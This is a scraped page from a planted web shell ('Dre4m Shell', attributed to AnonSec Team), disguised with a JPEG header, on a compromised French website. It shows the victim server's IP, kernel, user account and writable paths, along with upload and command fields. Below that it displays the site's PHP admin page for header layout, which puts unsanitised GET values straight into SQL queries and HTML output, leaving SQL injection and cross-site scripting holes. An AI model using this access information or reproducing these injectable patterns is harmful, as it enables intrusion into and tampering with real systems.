ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/lavignotte.com/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/lavignotte.com/cp-admin//shema_header.php
<?php
require_once('includes/header.php');
require_once('includes/menu.php');



 $th = $_GET['th'];
 $th_name = $_GET['th_name'];
 $lg_status = $_GET['lg_status'];


////////////////////////////////////////////////

if (isset($_GET['online'])) {
 $th = $_GET['th'];
 $th_name = $_GET['th_name'];
 $lg_status = $_GET['lg_status'];

  $page_id = $_GET['online'];
  $values = array(
      'status' => '1'
    ); 
    update_posted_data($values, $page_id, $GLOBALS['db_table']['shema_head']);
    
    
}

///////////////////////////////////////////////

if (isset($_GET['offline'])) {

 $th = $_GET['th'];
 $th_name = $_GET['th_name'];
 $lg_status = $_GET['lg_status'];

  $page_id = $_GET['offline'];
  $values = array(
      'status' => '0'
    ); 
    update_posted_data($values, $page_id, $GLOBALS['db_table']['shema_head']);
    
}

/////////////////////////////////////////////

if (isset($_POST['add'])) {

 $id_tem = $_POST['id_tem'];
 $couleur = $_POST['couleur'];
 $marge_top = $_POST['marge_top'];
 $taille = $_POST['taille'];
 $idd = $_POST['idd'];
 $lg_status = $_POST['lg_status'];


 $th = $_POST['th'];
 $th_name = $_POST['th_name'];

   $values = array(
    'couleur' => $_POST['couleur'],
    'marge_top' => $_POST['marge_top'],
    'taille' => $_POST['taille']    
  ); 
  update_posted_data($values, $idd, $GLOBALS['db_table']['shema_head']);


}

?>







<div class="container">
    <div class="row">
    	<div class="span12">
        	<div class="page-header">
           	 	<h1>Gestion du HEADER <?php echo$th_name; ?></h1>
          	</div>
        </div>
    </div>
    
 <?php if ($lg_status < 1) { ?>
 			<div class="alert alert-danger"><i class="fa fa-check-circle"></i>
            Votre Header est d&eacute;sactiv&eacute; ! Cliquez sur [Retour sch&eacute;ma] pour l'activer !</i><button type="button" class="close" data-dismiss="alert">&times;</button>
            </div>       
 
 <?php } else { ?>

			<div class="alert alert-info"><i class="fa fa-check-circle"></i>
            La couleur et l'image du background Header sont dans votre th&egrave;me g&eacute;n&eacute;ral. Ici vous organisez seulement les &eacute;l&eacute;ments !</i><button type="button" class="close" data-dismiss="alert">&times;</button>
            </div>       
 <?php } ?>


<div class="pull-right">
                    <a href="theme_conf.php?ide=<?php echo$th ?>&th2=1&th_name=<?php echo$th_name ?>&lg_status=<?php echo$lg_status ?>" class="btn btn-success"><i class="icon-arrow-left"></i> Th&egrave;me g&eacute;n&eacute;ral</a>

                    <a href="theme_shema.php?ide=<?php echo$th ?>&th_name=<?php echo$th_name ?>" class="btn btn-primary"><i class="icon-arrow-left"></i> Retour au sch&eacute;ma</a>
                    </div>
                    
    
<br /><br />
<br />
<br />
<?php
if ($th >0){ ?>

   

<?php
// Compte le nombre de bloc actifs
$nb_status = "0";
      $list = $GLOBALS['bdd']->query("SELECT * FROM shema_head WHERE id_theme = '$th' AND status >0 ORDER BY id");
	$list= $list->fetchAll();
	for($i=0; $i<count($list); $i++) {
$nb_status = $nb_status + 1;
}
echo'Vous utilisez actuellement ';echo$nb_status; echo' &eacute;l&eacute;ment(s)';
?>
<br />
Nous utilisons dans le header du site 3 blocs : Gauche, Centre et Droite.
<br />
Pour remplir ces blocs utilisez seulement les lignes 1, 2 et 3. Les autres lignes ne s'affichent pas sur le site !
<br />
Sur un mobile le logo s'affiche au centre par d&eacute;faut.
	



<br /><br /><br /><h3>1- Modifier les couleurs et marges des &eacute;l&eacute;ments du header pour le th&egrave;me <?php echo$th_name; ?></h3>    


<table id="" class="table table-bordered spantableau_90">
        <thead>
<tr>
              	<th class="span1 center">Nom</th> 
              	<th class="span1 center">Couleur</th>
              	<th class="span1 center">Taille</th>
              	<th class="span1 center">Marge top</th>
              	<th class="span2 center">Modifier</th>                                        
            </tr>
        </thead>
        <tbody>

<?php
      $requete = $bdd->query("SELECT * FROM shema_head WHERE id_theme = '$th' ORDER BY position"); 
     if ($row = $requete->fetch()) {
        do {
$id = $row['id'];     
$position = $row['position'];     
$bloc = $row['bloc'];     
$couleur = $row['couleur'];     
$marge_top = $row['marge_top'];     
$taille = $row['taille'];            
$id_tem = $row['id_theme'];            
$lestatus = $row['status'];            

           echo'<form class="form-horizontal"  method="post" action="./shema_header.php" > ';

            echo ' <input type="hidden" name="id_tem" value="'.$id_tem.'">';
            echo ' <input type="hidden" name="idd" value="'.$id.'">';
            echo ' <input type="hidden" name="th" value="'.$th.'">';
            echo ' <input type="hidden" name="th_name" value="'.$th_name.'">';
            echo ' <input type="hidden" name="lg_status" value="'.$lg_status.'">';

    echo'  <tr>';
            echo '<td class="span1 font12 center">';
            echo '<b>'.$bloc.'</b></td>';

            echo '<td class="center">';
            if (($bloc !=="Logo") & ($bloc !=="Publicite")){           
            echo ' <input type="text" class="color" name="couleur" style="width:65px;" value="'.$couleur.'">';
           } 
            echo '</td>';
            
            echo '<td class="span1 font12 center">';
           
           if (($bloc !=="Logo") & ($bloc !=="Publicite")){
 echo ' <input type="text" class="text" name="taille" style="width:65px;" value="'.$taille.'"> px';
 }
           echo '</td>';

            echo '<td class="span1 font12 center">';
            echo ' <input type="text" name="marge_top" style="width:65px;" value="'.$marge_top.'"> px';
            echo '</td>';
            
            echo '<td class="center">';

            echo'<button type="submit" name="add" class="btn btn-success" style=""> Sauvegarder</button>';
            
            echo '</td>';
 
echo'</tr>';
echo'</form>';
        }while ($row = $requete->fetch());
      } else {
        echo '<span style="color:#CC0000"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;S&eacute;lectionnez un th&egrave;me !</b></span>';
      }
        ?>
        </tbody>
	</table>





















<br /><br /><br /><br /> 
<h3>2- Ordonner et activer les &eacute;l&eacute;ments du header pour le th&egrave;me <?php echo$th_name; ?></h3>   

<script type="text/javascript">
  $(document).ready(function() {
    $("#sortlist").Sortable({
      accept: 'dragDrop',
      opacity: 0.6,
      axis : 'horizontally',
      onchange : function ( sorted ) {
        serial = $.SortSerialize ('sortlist'); 
        // requète Ajax pour l'enregistrement des positions
        $.ajax ( {
          url : "includes/set_position.php?table=shema_head",
          type : "post",
          data : serial.hash
        });
      }
    });
  });
</script>

    <table id="sortlist" class="table table-bordered table-striped spantableau_90">
        <thead>
<tr>
              	<th class="span1 center" style="width:55%"><i>Classer l'ordre par la fonction Glisser sur les 3 premi&egrave;res positions.</i></th> 

              	<th class="span1 center"><i>Modifier l'&eacute;l&eacute;ment</i></th> 
              	<th class="span1 center"><i>Statut</i></th> 

            </tr>
        </thead>
        <tbody>

<?php if ($nb_status >3) { ?>
 			<div class="alert alert-danger"><i class="fa fa-check-circle"></i>
            ATTENTION : vous n'avez droit qu'&agrave; TROIS &eacute;l&eacute;ments au maximum ! Seules les 3 premi&egrave;res positions seront affich&eacute;es !</i><button type="button" class="close" data-dismiss="alert">&times;</button>
            </div>       
<?php } 


if ($nb_status =="2") { ?>
 			<div class="alert alert-success"><i class="fa fa-check-circle"></i>
            DEUX &eacute;l&eacute;ments : <b>utiliser librement les positions 1, 2 ou 3 pour d&eacute;finir les 2 emplacements.</b></i><button type="button" class="close" data-dismiss="alert">&times;</button>
            </div>       
<?php } 


if ($nb_status =="3") { ?>
 			<div class="alert alert-success"><i class="fa fa-check-circle"></i>
            Vos TROIS &eacute;l&eacute;ments seront : au centre, &agrave; gauche et &agrave; droite sur le site. <b>Ils doivent &ecirc;tre dans les 3 premi&egrave;res positions !</b></i><button type="button" class="close" data-dismiss="alert">&times;</button>
            </div>       
<?php }  


if ($nb_status =="1") { ?>
 			<div class="alert alert-success"><i class="fa fa-check-circle"></i>
            UN &eacute;l&eacute;ment : <b>utiliser au choix la position 1, 2 ou 3 pour d&eacute;finir son emplacement.</i><button type="button" class="close" data-dismiss="alert">&times;</button>
            </div>       
<?php }  

echo'<form class="form-horizontal" name="form11" method="post" action="./top.php" >';

            echo ' <input type="hidden" name="th" value="'.$th.'">';
            echo ' <input type="hidden" name="th_name" value="'.$th_name.'">';
            echo ' <input type="hidden" name="lg_status" value="'.$lg_status.'">';

$Nlig ="0";

      $requete = $bdd->query("SELECT * FROM shema_head WHERE id_theme = '$th' ORDER BY position"); 
     if ($row = $requete->fetch()) {
        do {
$id = $row['id'];     
$position = $row['position'];             
$title = $row['bloc'];     
$status = $row['status']; 
$Nlig = $Nlig + 1;


echo'  </p></p>
<tr class="dragDrop" id="img_'.$id.'" title="'.$title.'" style="cursor : ns-resize;">';
            echo '<td class="span1 font12 center">';
            echo ''.$title.'';

if ($title == "Facebook"){             
echo'&nbsp;&nbsp;&nbsp;(<i>Texte sous bouton facebook</i>)';
}
            echo'</td>';
            echo '<td class="span1 font12 center">';

if ($status >0) {

if ($title == "Logo"){             
            echo '&nbsp;<a href="./theme_conf.php?ide='.$th.'&th_name='.$th_name.'&th2=1&lg_status='.$lg_status.'" title="" data-toggle="tooltip" class="btn btn-primary"><i class="fa fa-pencil-square-o"></i>&nbsp;Raccourci</a>';
}

if ($title == "Search"){             
            echo '&nbsp;<a href="./variables.php?th='.$th.'&th_name='.$th_name.'&th2=1&lg_status='.$lg_status.'" title="" data-toggle="tooltip" class="btn btn-primary"><i class="fa fa-pencil-square-o"></i>&nbsp;Raccourci</a>';
}


if ($title == "Coordonnees"){             
            echo '&nbsp;<a href="./informations.php?th='.$th.'&th_name='.$th_name.'&th2=1&lg_status='.$lg_status.'" title="" data-toggle="tooltip" class="btn btn-primary"><i class="fa fa-pencil-square-o"></i>&nbsp;Raccourci</a>';
}


if ($title == "Publicite"){             
            echo '&nbsp;<a href="./advertisings.php?th='.$th.'&th_name='.$th_name.'&th2=1&lg_status='.$lg_status.'" title="" data-toggle="tooltip" class="btn btn-primary"><i class="fa fa-pencil-square-o"></i>&nbsp;Raccourci</a>';
}

if ($title == "Facebook"){             
            echo '&nbsp;<a href="./variables.php?th='.$th.'&th_name='.$th_name.'&th2=1&lg_status='.$lg_status.'" title="" data-toggle="tooltip" class="btn btn-primary"><i class="fa fa-pencil-square-o"></i>&nbsp;Raccourci</a>';
}
} else {
echo'Bloqu&eacute;';
}
            echo '</td>';
            echo '<td class="span1 font12 center">';

            if($row['status']  == 0)echo '<a href="./shema_header.php?online='.$row['id'] .'&id_tem='.$id_tem.'&th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'"><img src="assets/img/offline.png" title=""></a>';
            else echo '<a href="./shema_header.php?offline='.$row['id'].'&id_tem='.$id_tem.'&th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'"><img src="assets/img/online.png" title=""></a>';
              echo '&nbsp;';
            echo '</td>';
            echo '</tr>';
            
        }while ($row = $requete->fetch());
      } else {
        echo '';
      }
        ?>
        </tbody>
	</table>
</form>
	
	
	
	
	
	
	
<br />
<br />		
<br />
<br />	
<h3>3- Ce que vous pouvez faire...</h3> <br />	
   
Le header est compos&eacute; de 3 colonnes c'est &agrave; dire qu'il est possible d'y ins&eacute;rer 3 &eacute;l&eacute;ments.
<br /><br />
Mais il est &eacute;galement possible d'y ins&eacute;rer d'autres &eacute;l&eacute;ments visuels via l'image du background (voir le bouton Th&egrave;me g&eacute;n&eacute;ral).
<br />
Utilisez la publicit&eacute; pour d'autres actions, par exemple une image avec un intitu&eacute; et un lien hypertexte (<i>ex. un bouton BLOG qui ciblera le blog, etc.</i>).	
<br />
<br />
Tous les Css n&eacute;cessaires &agrave; des compl&eacute;ments de style sont dans : Outils + Web / Explorateur / Business /	Business / feuille rose global-css
<br />
Toutes les variables sont multilangues ainsi que les publicit&eacute;s.	
	
	
	
	
	
	
</div>
<?
}
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team